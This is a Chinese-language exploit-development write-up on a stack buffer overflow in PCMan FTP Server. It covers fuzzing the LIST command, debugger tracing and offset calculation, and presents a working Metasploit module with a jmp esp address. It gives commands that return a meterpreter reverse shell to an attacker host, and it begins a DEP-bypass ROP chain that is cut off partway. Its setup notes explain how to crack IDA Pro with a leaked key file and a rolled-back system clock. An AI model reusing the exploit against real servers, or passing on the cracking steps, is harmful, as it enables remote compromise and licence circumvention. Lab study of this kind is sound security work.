1、申 请 I D:quanyechavshuo
2、个人邮箱:quanyechavshuo@gmail.com
3、原创技术文章:pcman-ftp初战漏洞挖掘
0x01 install binnavihttps://github.com/google/binnavihttp://www.freebuf.com/sectool/75529.htmlhttps://github.com/google/binnavi/releaseshttp://malwareandmore.blogspot.kr/2015/08/binnavi-install-on-windows.htmlhttps://blog.because-security.com/t/development-environment-for-binnavi-with-a-package-manager-windows/34(better)直接下载https://github.com/google/binnavi/releases里面的binnavi-all.jar,放到windows下双击,运行不成功说明缺少环境,再从其他几个链接中学习安装使用教程https://www.zynamics.com/binnavi/manual/html/tutorial.htm 最佳安装方案:将binnavi安装到win2003上直接双击运行https://github.com/google/binnavi/releases中的binnavi-all.jar,并将这个链接里面的zynamics_binexport_9.plw和zynamics_binexport_9.p64放入IDApro6.8的plugin目录中将这个链接https://github.com/google/binexport/releases里面的copy_to_ida_root_windows.zip解压后放到ida的根目录下ida pro6.8的安装如果因为没有注册使得ida pro无法加载binexport9插件(看不到Edit|Plugin|BinExport9说明没有加载成功),则替换ida安装目录下的ida.key文件为这个链接(https://gist.github.com/TheCjw/9f6f7544f33f292db20e)中的ida.key文件,并将系统时间改成若干年前完成ida pro的破解如果提示有什么问题,再根据https://blog.because-security.com/t/development-environment-for-binnavi-with-a-package-manager-windows/34这里面的方法安装缺失依赖,可能不用全部安装完就可以再次尝试直接双击binnavi-all.jar而成功运行安装postgresql到win2003上会失败,解决方法http://blog.itpub.net/29598413/viewspace-1258961/以上安装知识理应足够,如需还有这个链接http://pan.baidu.com/s/1c2Jmtag里面的readme.md文件有关于安装的问题,另外这个链接里面有大多数需要的依赖环境打包好了实例安装:(win2003)(事后觉得2中的命令可以不运行,因为binnavi-all.jar为最后编译的结果文件,而2中只是为了编译才做的过程)0.my_vinnavi从这里下载:http://pan.baidu.com/s/1c2Jmtag1.安装my_binnavi中的install binnavi on win2003里面的两个exe2.@powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))" && SET PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin choco install maven choco install ant choco install gradle3.安装jdk8(jdk6不成功),并添加对应C:\Program Files\Java\jdk1.8.0_91\bin和C:\Program Files\Java\jre1.8.0_91\bin到环境变量path,新建一个环境变量JAVA_HOME为C:\Program Files\Java\jdk1.8.0_91\4.安装idapro6.8,替换key文件,修改本机时间为几年前,将copy_to_ida_root_windows.zip里面的文件放入idapro根目录(重要,没有这步Edit|Plugin中看不到BinExport9),并将binexport的两个文件(zynamics_binexport_9.plw和zynamics_binexport_9.p64)放入idapro的plugin目录5.安装my_binnavi中的postgresql(x86),数据库用户名和密码设为postgres,将win2003中的c:\program files\postgresql目录设置为everyone有所有权限6.以管理员身份(否则在binnavi运行后无法import idb文件)运行binnavi-all.jar(win2003下右键以不受限方式打开cmd.exe,然后运行binnavi-all.jar)
0x02 fuzz target appabouttarget link: https://www.exploit-db.com/exploits/39662/target ftp app(pcmanftp): https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7zftp fuzz tool: http://www.infigo.hr/files/ftpfuzz.zipchallenge: 尝试找到pcmanftp除了exploit-db中介绍的已经存在的漏洞以外其他的漏洞
fuzz1>安装ftpfuzz(实验中安装到192.168.3.77中)2>设置user为annoymous,pass为test3>只取list命令作为fuzz的对象4>只选择A作为fuzz的数据
0x03 binnavi使用方法0>binnavi安装在win2003上,ip:192.168.3.1761>新建一个project2>导入一个模块(ida生成的idb文件) 出现错误及安装binnavi解决方法可参考https://github.com/google/binnavi/issues/943>新建一个debugger:192.168.3.177:2222 192.168.3.77为安装ftpfuzz工具的一台win7机器,用于fuzz目标192.168.3.177上的pcmanftp 192.168.3.176为安装binnavi的机器,用于远程调试192.168.3.177上的ftp进程,并追踪ftp进程上的相关指令 192.168.3.177为目标ftp运行的机器,通过在192.168.3.177上安装idapro(6.8)加载该ftp进程后产生idb文件,将该idb文件复制到192.168.3.176(win2003)上用binnavi加载 为了实现在192.168.3.176上远程调试192.168.3.177的ftp,需要在192.168.3.177上运行: https://github.com/google/binnavi/releases/download/v6.1.0/debugclient.exe 或 http://pan.baidu.com/s/1hsK0jwK中的debugclient.exe 在win7上不要用管理员权限运行,否则debugclient.exe会报断点错误,运行方法: win+r cmd debugclient.exe pid4>初始化模块 双击图中的modules下面的pcmanftpd2.exe,或右键选择laod+initial,使得产生图中有Native Callgraph的面板,此时如果双击图中箭头指向的Native Callgraph可产生graph视图,并可从graph视图(图6)的菜单中选择windows下的debug perspective子项进行进程调试和指令追踪,此处不用这种方法,选择下面更好一点的方法5>产生grahp视图 双击NewProject,左键按住modules下的pcmanftpd2.exe并拖到NewProject下的Default address space上面,这样将会把导入的idb模块"对应放到"default address space中,然后可以右键单击defalut address space,选择create combined callgraph,此时将产生上面说的graph视图(图6),如果不用这种方法而用上面的方法则不能在defalut address space上右键选择create combined callgraph,binnavi会报错6>上面的graph视图窗口对应下面的图67>动态调试192.168.3.177上的ftp进程并追踪指令 在正常binnavi窗口中(非graph窗口): 在NewProject面板中选择并保存上面设置的debugger,如下图7 在Default address place面板中选择并保存上面设置的debugger,如下图7-2 在graph窗口中: 单击菜单中的windows,并选择debug perspective,将打开调试窗口,如下图7-3 单击下图7-4中的start debug开始进程调试 单击下图7-4中的start trace mode开始指令追踪 实验中binnavi版本为最新的6.1+ida pro6.8,安装在win2003系统上,此安装的binnavi有以下问题: 1.stop trace mode按钮只是前几次有效(eg.10次内的trace列表) 2.在1下先按stop trace mode再按start trace mode按钮可以实时刷新地跟踪指令 3.按下超过一定次数的start trace mode(一定trace列表数)2中情况不再有效,需要重新start debugger,这也意味着要重新在192.168.3.177中重新运行pcmanftp,并运行: win+r cmd debugclient.exe pid 4.binnavi中使用指令追踪功能时除了上面2中的方法也可以通过删除trace列表里面的已存在的trace,然后重新按start trace mode,这样可以不用按像2中(stop trace mode再按start trace mode)而达到指令追踪的目的,192.168.3.177的win7上运行debugclient.exe pid时不用管理员身份运行虽然会报断点错误,但是好像实际实验中追踪效果更好,此点尚疑.一般情况下,每个应用都用管理员身份运行不易出错(debugclient.exe,pcmanftp,binnavi)
图1 图2 图3 图4 图5 图6 图7 图7-2 图7-3 图7-4 0x03 实战1>dep off实验中win7系统中默认dep关闭如下 追踪192.168.3.177中的pcmanftp进程的溢出指令 1.运行192.168.3.177上的pcmanftp后用管理员权限运行clientdebug.exe pid,然后单击192.168.3.176上的graph视图窗口下的debug perspective下的start debug,开始远程调试pcmanftp2.单击start trace mode,binnavi下完断点后再单击start trace mode,此时binnavi中的trace列表如下图a,然后在192.168.3.77(另外一台win7,安装有ftpfuzz工具,用来fuzz目标192.168.3.177里的pcmanftp),事先设置fuzz数据为发送30,70...到9000个A,后来发现发送9000个A会使pcmanftp出错,于是最后设置fuzz数据为只发送9000个A,便于追踪出错的详细汇编语句,如下图b:
图a图b 3.完成2中的设置后在192.168.3.77中单击上图中的start按钮,用ftpfuzz发送9000个A,只选择LIST命令进行fuzz,fuzz结束后binnavi中对应trace列表如下图trace1,说明ftpfuzz与binnavi的数据交互中共产生了72个event,也即从发送anonymous登录到发送完LIST 9000xA命令后的event,但是这样不能精确追踪到关键溢出(发送9000个A)时的代码,不会将登录ftp的过程记录到event中,使得event有72个,较大,为了精确追踪到pcmanftp对9000个A的数据处理过程,需要过滤掉fuzzftp登录pcmanftp的过程,于是进行如下操作: on 192.168.3.177: 关闭pcmanftp 打开pcmanftp #如果不重新打开pcmanftp,客户端用anonymous登录时会报"too many users"错误 debugclient.exe pid on kali:(192.168.3.106) ftp open 192.168.3.177 user:anonymous pass:test on binnavi(192.168.3.176) start trace mode #因为上面重新打开了pcmanftp,此处不用先stop trace mode,binnavi自动关闭了 start trace mode #这条命令执行后trace列表如下图trace2 on kali: LIST AAA...A(9000个) #结果显示"Invalid command",再看binnavi中trace列表,发现没有新增,结果依然为下图strace2,认为是terminal终端下登录ftp和ftpfuzz工具有点不同,终端下登录可能被本地ftp客户端的程序发现命令不对先给截断了 on 192.168.3.177: 重新打开pcmanftp并debug #重新追踪 on binnavi: 重新start debug,start trace mode,start trace mode on kali: ftp open 192.168.3.177 user:anonymous pass:test on binnavi: start trace mode #上面annoymous登录后,运行这条命令前binnavi已记录kali中anonymous登录过程中的指令,在binnavi上运行这条命令后,再从kali中传输list Ax9000的命令则将会记录下list Ax9000这个过程中的指令 on kali: ls AA..A(9000个) #后来发现terminal下虽然list命令不可以成功,但可以ls 9000个A发送过去 on binnavi: 此时产生list 9000xA命令的trace指令列表,如下图trace3,说明list Ax9000这个命令运行后在pcmanftp上有7个event与之对应,此时eip已经被覆盖成41414141,说明大概到图trace3的sub_427350处已经覆盖了eip为41414141了,后来od跟踪发现确实如此 也即追踪到的关键event(指令)为: sub_402B60 _atoi _atoi sub_405410 sub_427350
图trace1 图trace2 图trace3 追踪到相关指令后此时binavi暂时退出,用od调试pcmanftp on 192.168.3.177: 重新打开pcmanftp,od附加 f9 #此时单击屏幕底部的状态栏发现不能看到pcmanftp的主界面 ctrl+g:402b60--->f2 ctrl+g:405410--->f2 #405410处像是异常处理程序相关,下面是od中的数据,后来相通了,这显然是在构造se异常处理,将一个异常处理方法放入栈中,线程初始化时,会自动向栈中安装一个seh,用作线程的默认异常处理 -----------content of 405410------------ 00405410 /$ 6A FF push -0x1 00405412 |. 68 292D4300 push PCManFTP.00432D29 ; SE 处理程序安装 00405417 |. 64:A1 0000000>mov eax,dword ptr fs:[0] 0040541D |. 50 push eax 0040541E |. 64:8925 00000>mov dword ptr fs:[0],esp 00405425 |. 51 push ecx 00405426 |. 53 push ebx 00405427 |. 56 push esi ; PCManFTP.00441250 00405428 |. 8BF1 mov esi,ecx 0040542A |. 897424 08 mov dword ptr ss:[esp+0x8],esi ; PCManFTP.00441250 0040542E |. E8 BD120000 call PCManFTP.004066F0 ---------------end---------------------- ctrl+g:427350--->f2 on kali: ftp open 192.168.3.177 #发现此时不能显示ftp会话消息,像是pcmanftp"卡住了" on 192.168.3.177's od: alt+v t 右键resume all threads #此时可以单击状态栏中的pcmanftp可以显示pcmanftp主界面,且kali中也可以显示ftp会话信息,关于"卡住"以后为什么可以通过resume all threads来调试而"不影响"调试目的有以下猜想: windows程序有消息响应机制,windows程序中的主线程一直在等待各个子线程的消息,如果某个子线程中断或者出故障了,可能会被主线程知道,然后主线程调用相应方法去处理这个出问题的子线程,这样就可以解释在下完402b60,405410,427350的断点后,发送ls Ax9000到pcmanftp,在od中一直按f9,却没有在某时刻可以看到eip=41414141,而最后由于的确存在某时刻eip=41414141,导致异常,最后弹出如下图error显示的错误对话框,对话框中显示出错原因为eip被41414141覆盖,这样大概是因为当eip在某时刻被41414141覆盖的时候,于是这个子线程出故障了,程序的主线程知道了这个消息,然后调用seh链中的异常处理程序,处理的结果就是弹出这样一个错误详细信息对话框
图error on kali: user:anonymous pass:test ls AAA..A(9000个)on 192.168.3.177'od: 此时中断在402b60处 在堆栈窗口中:ctrl+b查找AAAA #提示没有找到 f9 此时中断在405410处 在堆栈窗口中:ctrl+b查找AAAA #提示没有找到 f9 此时中断在427350处 在堆栈窗口中:ctrl+b查找AAAA #提示找到,说明通过binnavi找到的这些event中,关键的覆盖eip的指令在405410到427350这两个断点之间 载pcmanftp,并重点关注405410到427350这两个断点之间会经过的指令 on 192.168.3.177's od:(重复以上加载并resume all threads过程直到中断到405410处) ... ... ... --------查找关键汇编指令方法--------- 结过漫长的ctrl+f9,f8,时刻关注堆栈,寄存器,反汇编窗口指令等,在可疑函数f8单步步过后在堆栈窗口中ctrl+b查找AAAA --------------end--------------------现从405410到427350两个断点之间的指令,如果通过f8,f7,ctrl+f9等的一步一步调试无法到达覆盖eip的关键指令处,而通过在405410断点处直接f9到427350处会经过覆盖eip的关键指令处,然而确无法单步调试到关键指令处.单步调试时指令经过流程为: 405410到427350,再由427350到427350 其中405410到427350流程中无法捕捉到覆盖eip的关键指令,于是指令开始在427350到427350之间一直循环,像是一个进程阻塞当中(eg.listen,accept),427350到427350也无法捕捉到覆盖eip的关键指令,在427350处f9到427350时,情况和下面的405410处f9到427350的情况一样但是,两个断点之间f9运行调试时: 在405410处f9到427350时,在堆栈窗口中ctrl+b:41414141却能找到41414141,说明f9运行时,的确经过了覆盖eip的关键指令出现以上这种现象暂时不能理解,猜测有可能是427350是一个循环等待的函数,并且与有时间相关,如果每次时间超过一定时间(单步调试程序某个线程等待造成时间较长),这个427350处的循环等待判断为无效,即只在一定时间内判定为有效循环等待(这样在427350处f9运行调试到427350处时可以在堆栈窗口捕获到AAAA就可以理解了)于是尝试在405410和427350下断点后(到此处不用在402b60处下断点了),f9运行pcmanftp,然后在kali中的terminal中ftp open 192.168.3.177登录,之后输入ls 9000xA命令,待od中中断到405410时,在od的汇编代码区右键查看所有模块间调用,并在所有模块间调用处下断点,然后一直f9运行调试pcmanftp,这样有可能会在堆栈区捕获到AAAA,具体步骤如下:on 192.168.3.177's od: alt+f2 #关闭调试程序 重新运行pcmanftp并附加到od ctrl+g:405410--->f2 ctrl+g:427350--->f2 f9on kali: ftp open 192.168.3.177on 192.168.3.177's od: f9 #不是必须 alt+v t 右键resume all threadson kali: user:anonymous pass:test ls AAA..A(9000个)on 192.168.3.177's od: 自动中断在405410处 右键查找所有模块间调用 在每个命令上设置断点 alt+c f9 ... (alt+c后共输入123个f9) 此时观察到堆栈区第一次出现大长串AAAAAAAAAA,断点处在416685,也即在416685处的模块间调用开始出现AAAAAAA,如下图od1
图od1 于是重新在405410,416685,427350处下断点,重点关注405410到416685后,在416685开始的指令流程,具体如下:on 192.168.3.177'od: ctrl+g:405410--->f2 ctrl+g:427350--->f2 f9on kali: ftp open 192.168.3.177on 192.168.3.177'od: alt+v t resume all threadson kali: user:anonymous pass:test ls AA..A(9000个)on 192.168.3.177's od: ctrl+g:416685--->f2 alt+c 此时自动中断在405410处 ------------output:----------- 00405410 /$ 6A FF push -0x1 00405412 |. 68 292D4300 push PCManFTP.00432D29 ; SE 处理程序安装 00405417 |. 64:A1 0000000>mov eax,dword ptr fs:[0] 0040541D |. 50 push eax --------------end------------- f9 此时自动中断在416685处 -----------output:----------- 00416685 |. FF15 58524300 call dword ptr ds:[<&KERNEL32.GetLastErr>; [GetLastError 0041668B |. FF35 B0284400 push dword ptr ds:[0x4428B0] ; /TlsIndex = 1A 00416691 |. 8BF8 mov edi,eax ; | 00416693 |. FF15 98514300 call dword ptr ds:[<&KERNEL32.TlsGetValu>; \TlsGetValue ------------end--------------- f9 此时又中断到416685处(不过堆栈窗口出现了AAAAAAA) ------------output:----------- 00416685 |. FF15 58524300 call dword ptr ds:[<&KERNEL32.GetLastErr>; [GetLastError 0041668B |. FF35 B0284400 push dword ptr ds:[0x4428B0] ; /TlsIndex = 1A 00416691 |. 8BF8 mov edi,eax ; | 00416693 |. FF15 98514300 call dword ptr ds:[<&KERNEL32.TlsGetValu>; \TlsGetValue --------------end-------------- 此时对应的od中截图如下图od2:
图od2 esp下面的第一个返回到的地址为当前栈帧的返回地址,也即汇编窗口中004166e9处的retn要返回到的地址esp下面的第二个返回到的地址4029db为当前函数栈帧的上一函数栈帧中的retn要返回的地址esp下面的第三个返回到的地址4029ff为当前函数栈帧的上一函数的上一函数的栈帧中的retn要返回的地址此时堆栈窗口数据如下: ----------------stack------------------ 0018ED28 00000402 0018ED2C 004411DC ASCII " " 0018ED30 00412967 返回到 PCManFTP.00412967 来自 PCManFTP.00416683 0018ED34 00000402 0018ED38 00000000 0018ED3C 00000000 0018ED40 0018ED68 0018ED44 0018ED64 0018ED48 00000000 0018ED4C 00000000 0018ED50 00001000 0018ED54 0018ED78 ASCII "LIST AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"... 0018ED58 01D817A0 0018ED5C 004029DB 返回到 PCManFTP.004029DB 来自 wsock32.recv 0018ED60 01D817A0 0018ED64 004029EF 返回到 PCManFTP.004029EF 来自 PCManFTP.00412956 0018ED68 0018ED78 ASCII "LIST AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"... 0018ED6C 004411DC ASCII " " 0018ED70 00000000 0018ED74 00000001 0018ED78 5453494C 0018ED7C 41414120 0018ED80 41414141 0018ED84 41414141 0018ED88 41414141 0018ED8C 41414141 -----------------end-------------------参照上一篇文章:http://xinghuacai.github.io/%E4%BA%8C%E8%BF%9B%E5%88%B6/2016/06/04/%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%85%A5%E9%97%A8-%E5%8A%A8%E6%80%81%E8%B7%9F%E8%B8%AA%E6%BA%90%E4%BB%A3%E7%A0%81%E5%92%8C%E5%8F%8D%E6%B1%87%E7%BC%96%E4%BB%A3%E7%A0%81/中的图stack0易知: 其中栈中0018ed8c以后很长一段数据都是41414141,由于此时中断到416685而堆栈窗口中首次出现AAAAAA数据,而堆栈窗口中最近的三个返回地址中00412976对应的是本函数栈帧(对应图od2)中的004166e9处的retn,这样的话,很有可能是本函数栈帧的上一帧函数(该函数内的retn对应返回到4029db)或者是上上一帧函数(该函数内的retn对应返回到4029ef)的返回地址被此时栈中的大长串A覆盖成41414141 当前eip对应的函数帧是00416683函数,当前函数帧的上一帧函数是wsock32.recv,wsock32.recv函数帧的上一函数帧的00412956函数,形如下面表示: -----------------------------format:-------------------------------- 00412956:(412956函数帧) 00412954:push ebp xxxxxxxx:mov ebp,esp xxxxxxxx:... xxxxxxxx:... xxxxxxxx:call wsock32.recv(这条汇编语句的下一条语句的地址为004029db) (wsock32.recv函数帧) recv's addr:push ebp xxxxxxxx:mov ebp,esp xxxxxxxx:... xxxxxxxx:... xxxxxxxx:call 00416683(这条汇编语句的下一条语句的地址为00412967) (00416683函数帧,对应图od2中语句) 00416683:push ebp xxxxxxxx:mov ebp,esp xxxxxxxx:... xxxxxxxx:... 00416685:call getlasterror 0041668b:push ds:[0x4428b0] xxxxxxxx:... xxxxxxxx:... 004166e9:retn(将返回到00412967) ... ... 00412967:...(此处00412967对应为上面call 00416683语句中00416683函数的返回地址) ... ... xxxxxxxx:retn(将返回到004029db) ... ... 004029db:...(此处004029db对应为上面call wsock32.recv语句中wsock32.recv函数的返回地址) ... ... xxxxxxxx:retn(将返回到004029ef) ... ... 004029ef:xxx(此处004029ef对应00412956函数桢中的retn语句要返回的地址) -------------------------------end---------------------------------- 所以有可能当前函数帧(对应图od2)中的汇编语句(执行到4166e9处的retn之前的语句)会导致栈中的两个返回地址(0018ed5c处的004029db和0018ed64处的004029ef)被覆盖,也有可能在wsock32.recv函数帧中某语句覆盖0018ed64处的004029ef,也有可能是本函数帧(00416683,正常情况下esp下面最近一个返回地址在od中显示来自于什么函数则当前eip在该函数帧中)的下一函数帧(也即还没执行到的函数,当前函数帧为最新函数帧)中的汇编语句覆盖两个返回地址或这两个返回地址下面比较远的返回地址等 于是重点关注堆栈窗口中的0018ed5c处的004029db和0018ed64处的004029ef是否可能会在当前函数帧中执行到004166e9之前或下一个将到达的函数帧中被改写成41414141 在od中f8单步调试时,遇到可疑指令如call xxx等,在堆栈窗口中ctrl+g(堆栈中跟随):0018ed5c或0018ed64,然后f8单步调试,具体如下操作: ------------从图od2中情况下开始的操作------------- f8 f8 .. f8 执行到图od2中的004166e9处的retn时,0018ed5c和0018ed64处的返回地址都不变,继续f8跳到412967处,此时在wsock32.recv函数帧中,继续f8 f8 .. f8 执行到412997处时,在到达这个函数帧中的rent语句前,所有的指令都在wsock32.recv函数帧中,0018ed5c中的返回地址由004029db被改成000000,也即wsock32.recv函数帧中的retn指令被执行时将返回到由004029db变成的00000000,此时栈帧已经被破坏,执行完wsock32.recv函数帧中的retn指令后,将跳到00000000执行,也即在当前帧(wsock32.recv函数帧)中执行到retn语句时,将发生错误,对应汇编指令为: 00412976 5F pop edi 00412977 8A16 mov dl,byte ptr ds:[esi] 00412979 B3 01 mov bl,0x1 0041297B 0FB6CA movzx ecx,dl 对应堆栈窗口中0018ed5c和0018ed64处的内容为: 0018ED58 00000000 0018ED5C 00000000 0018ED60 01D817A0 0018ED64 004029EF 返回到 PCManFTP.004029EF 来自 PCManFTP.00412956 0018ED68 0018ED78 ASCII "LIST AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"... 0018ED6C 01D80F80 而当前函数帧中的retn语句在如下位置004129f9处: 004129F1 F7D8 neg eax 004129F3 1BC0 sbb eax,eax 004129F5 23C3 and eax,ebx 004129F7 5B pop ebx 004129F8 C9 leave 004129F9 C3 retn 所以如果是要将堆栈窗口中0018ed5c处的004029db或0018ed64处的004029ef这两个返回地址覆盖成41414141有极大的可能是在当前函数帧的004129f9处的retn语句前完成,而0018ed64处被覆盖成41414141的可能性更大,因为0018ed5c处已经被覆盖成00000000了 f8 f8 .. f8 在eip=004129f9前,单步执行到004129c1处 f8 f8 .. f8执行到004129df,以jmp 到004129c1,也即004129c1到004129df相当于一个for循环,004129c1处开始到retn语句前的汇编指令如下: 004129C1 8A02 mov al,byte ptr ds:[edx] 004129C3 84C0 test al,al 004129C5 74 1E je short PCManFTP.004129E5 004129C7 0FB6F0 movzx esi,al 004129CA 8BCE mov ecx,esi 004129CC 6A 01 push 0x1 004129CE 23CF and ecx,edi ; PCManFTP.00439C18 004129D0 58 pop eax ; PCManFTP.00439C18 004129D1 D3E0 shl eax,cl 004129D3 C1EE 03 shr esi,0x3 004129D6 8A4C35 E0 mov cl,byte ptr ss:[ebp+esi-0x20] 004129DA 84C1 test cl,al 004129DC 75 03 jnz short PCManFTP.004129E1 004129DE 42 inc edx ; ntdll_1a.7770B831 004129DF ^ EB E0 jmp short PCManFTP.004129C1 004129E1 8022 00 and byte ptr ds:[edx],0x0 004129E4 42 inc edx ; ntdll_1a.7770B831 004129E5 8B45 0C mov eax,dword ptr ss:[ebp+0xC] 004129E8 5F pop edi ; PCManFTP.00439C18 004129E9 5E pop esi ; PCManFTP.00439C18 004129EA 8950 18 mov dword ptr ds:[eax+0x18],edx ; ntdll_1a.7770B831 004129ED 8BC3 mov eax,ebx 004129EF 2BC2 sub eax,edx ; ntdll_1a.7770B831 004129F1 F7D8 neg eax 004129F3 1BC0 sbb eax,eax 004129F5 23C3 and eax,ebx 004129F7 5B pop ebx ; PCManFTP.00439C18 004129F8 C9 leave 004129F9 C3 retn -----------------end------------------------ 直接在004129df的下一条语句004129e1上f4,发现f4以后eip直接跳到了00416685处的call getlasterror语句上,而不是f4执行到004129e1上,且f4以后0018ed5c处的004029db和0018ed64处的004029ef都被覆盖改写成41414141 说明004129c1到004129df为关键的复制过程,这个过程覆盖了0018ed5c处的004029db和0018ed64处的004029ef 然而在当前wsock32.recv函数帧中,如果覆盖返回地址,一般是只能覆盖到当前函数帧的上一函数帧的返回地址,即覆盖0018ed64处的004029ef,不明白为何连当前函数帧的返回地址也被覆盖成41414141了,这一点不解 猜测是由于windows的消息机制,程序的主线程监视到有函数的返回地址被覆盖成不可执行的地址41414141时,进入异常处理链开始执行(由于主线程优先级高,于是出问题后不去41414141处执行,也不去原来wsock32.recv函数帧当中按f4处的004129e1执行),发现没有专门对应的exception handler,最后调用unhandled exceptionfilter(后来f8单步发现是有call unhandled exceptionfilter)处理这个异常,最后弹出图error的对话框,认为有某一刻eip=41414141,但是这一刻没有在单步调试中出现,认为由004129e1处突然跳到了call getlasterror的过程中,实际上是先到eip=41414141处,然后再跳到到call getlasterror处,或许是由于这个过程太快或比较特殊而没有被od捕捉到因而没有遇到eip=41414141的时刻 但是现在不能确定是0018ed5c处被覆盖成的41414141还是0018ed64处被覆盖的41414141是真正的那一刻eip=41414141的时刻而引起的主线程优先进入异常处理 理论上是在004129e1处f4的时候,由于还在wsock32.recv函数帧当中,返回的先后顺序是先返回到0018ed5c处被覆盖的41414141再返回到0018ed64处被覆盖的41414141,然而0018ed5c原来被覆盖成00000000时是可以理解的,被覆盖成41414141是不可理解的,于是这两种可能性都不能确定 在内存中覆盖时AAAA的数据由0018e58e开始到0018ed64共2006个字节,由0018e58e开始到0018ed5c共1998个字节,重新发送1998xA+BBBB+CCCC+DDDD到pcmanftp,不用od加载,看看最后的error对话框中的异常位移是多少 向pcmanftp发送Ax1998+Bx4+Cx4+Dx4发现不能使pcmanftp停止工作,于是发送Ax1998+Bx4+Cx4+Dx4+Ex6990(共9000个字节),成功使之停止工作,但是弹出对应error图中对话框中的异常偏移为45444444,也即对应EDDD,这样应该是说明是0018ed64处的41414141被覆盖,但是又相差一个字节,不知是那里算错了,暂且不纠结于此 发送Ax1998+Bx4+Cx4+Dx4+F+Ex6989(共9000个字节),成功使之停止工作,且异常偏移显示为46444444,说明发送的9000个字节中,第2008到2011个字节处为覆盖eip处,构造exploit,发现与https://www.exploit-db.com/exploits/39662/链接中的偏移情况相同,都是在第2008-2011个字节处为覆盖返回地址的eip处,在这里填入jmp esp的地址后,再在后面填入用于反弹的shellcode即可,不同的是exploit-db中的是winxpsp3 eng环境,而此处环境为win7x64的中文系统环境 在192.168.3.177中运行pcmanftp后od附加,alt+e选择一个系统dll(实验中选择的是c:\windows\system32\ntdll.dll),在od中ctrl+f:jmp esp找到一个地址为77506aeb,构造的exploit如下: -------------------------exploit.rb--------------------------------- ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command', 'Description' => %q{ This module exploits a buffer overflow vulnerability found in the PUT command of the PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous credientials are enabled. }, 'Author' => [ 'quanyechavshuo' ], 'License' => MSF_LICENSE, 'References' => [ [ 'EDB', '37731'], [ 'OSVDB', '94624'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0A\x0D", }, 'Platform' => 'win', 'Targets' => [ [ 'windows 7 x64', { 'Ret' => 0x776c2fe1, # jmp esp C:\WINDOWS\system32\ntdll.dll 'Offset' => 2008 } ], ], 'DisclosureDate' => 'Aug 07 2015', 'DefaultTarget' => 0)) end def check connect_login disconnect if /220 PCMan's FTP Server 2\.0/ === banner Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit connect_login print_status('Generating payload...') sploit = rand_text_alpha(target['Offset']) #tmp = sploit #print_status(tmp) sploit << [target.ret].pack('V') sploit << make_nops(16) sploit << payload.encoded tmp=sploit print_status(tmp) send_cmd( ["ls", sploit], false ) disconnect end end ---------------------------end--------------------------------------exploit情况说明: 1.在实际msf中加载上面的exploit时,发现要应该对应第2009个字节开始为填充的jmp esp的地址,也即exploit代码中的填充随机覆盖的数据要有2008个,而不是原来认为的2007个 2.出现1中的情况认为可能是考虑覆盖偏移量时不应该从AAAA开始,要从ls命令开始,也即ls AAAA开始算 3.上面代码中没有发送共9000个字节的数据,用反弹的shellcode代替也可成功 4.win7系统重启后,jmp esp地址会改变,重启后代码中的jmp esp的地址不再合适 5.将上面的代码重命名为mypcmanftp.rb,放到kali中/usr/share/metasploit-framework/moudles/exploits/windows/my/目录下,使用如下命令: use exploit/windows/my/mypcmanftp set payload windows/meterpreter/reverse_tcp set rhost 192.168.3.177 set lhost 192.168.3.106 exploit 成功溢出后返回meterpreter的shell如下图meterpreter1,其中打印出来的数据为代码中print_status(tmp)的结果,即payload的数据
图meterpreter1 2>dep on实验中win7x64系统中dep开启如下: 参考http://www.blogbus.com/riusksk-logs/80935313.htmlhttp://drops.wooyun.org/papers/3602目的实现win7绕过dep并成功溢出pcmanftpmona插件 https://github.com/corelan/mona https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/ https://huirong.github.io/2015/12/18/mona/ http://www.cnphp6.com/archives/45078 http://drops.wooyun.org/tips/6814在immunity debugger中执行!mona rop -m *.dll -cp nonull,将得到如下(rop_chains.txt中)建议的rop_gadgets:-------------rop_gadgets_from_mona____________def create_rop_chain() # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x027c9a7a, # POP ECX # RETN [knb3rdhmpg.dll] 0x73c112d0, # ptr to &VirtualProtect() [IAT OLEACC.dll] 0x76969312, # MOV EAX,DWORD PTR DS:[ECX] # RETN [ole32.dll] 0x753c6833, # XCHG EAX,ESI # RETN [KERNELBASE.dll] 0x76b5e6e8, # POP EBP # RETN [msvcrt.dll] 0x74916f14, # & push esp # ret [RICHED20.dll] 0x76b93866, # POP EAX # RETN [msvcrt.dll] 0xfffffdff, # Value to negate, will become 0x00000201 